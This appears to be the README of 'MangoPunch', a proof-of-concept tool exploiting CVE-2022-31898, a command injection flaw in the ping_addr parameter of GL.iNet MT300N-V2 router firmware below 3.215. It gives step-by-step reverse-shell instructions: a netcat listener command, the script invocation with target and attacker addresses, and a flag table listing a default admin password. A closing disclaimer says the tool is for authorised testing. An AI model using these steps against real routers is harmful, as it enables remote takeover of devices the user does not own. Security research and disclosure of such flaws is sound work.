
Authenticated Command Injection Tool (CVE-2022-31898) - HACKCONRD 2026.
__ __ _____ _
| \/ | | __ \ | |
| \ / | __ _ _ __ __ _ ___ | |__) | _ _ __ ___| |__
| |\/| |/ _` | '_ \ / _` |/ _ \| ___/ | | | '_ \ / __| '_ \
| | | | (_| | | | | (_| | (_) | | | |_| | | | | (__| | | |
|_| |_|\__,_|_| |_|\__, |\___/|_| \__,_|_| |_|\___|_| |_|
__/ |
|___/
This repository contains a technical Proof of Concept (PoC) for a Remote Command Execution (RCE) vulnerability found in the GL.iNet MT300N-V2 (Mango) and other models running firmware versions below 3.215.
The flaw exists in the ping_addr parameter of the diagnostic API, allowing an authenticated attacker to execute arbitrary system commands via shell metacharacters (;).
Open a terminal in your attacker machine (Kali Linux) and start a Netcat listener:
nc -lvnp 9292
Use the following command to trigger the reverse shell:
python3 mangopunch.py -R <TARGET_IP> -L <YOUR_IP> -l <YOUR_LISTERNER_PORT> -p <PASSWORD>
| Flag | Full Name | Description | Default |
|---|---|---|---|
-R | --rhost | Remote Target IP (Router) | Required |
-P | --rport | Web Management Port | 443 |
-L | --lhost | Listener IP (Kali/Attacker) | Required |
-l | --lport | Listener Port | Required |
-p | --pwd | Admin Password | goodlife |
-t | --https | Enable HTTPS | False |
Disclaimer: This tool is for educational and authorized security testing purposes only. The author is not responsible for any misuse. MangoPunch: CVE-2022-31898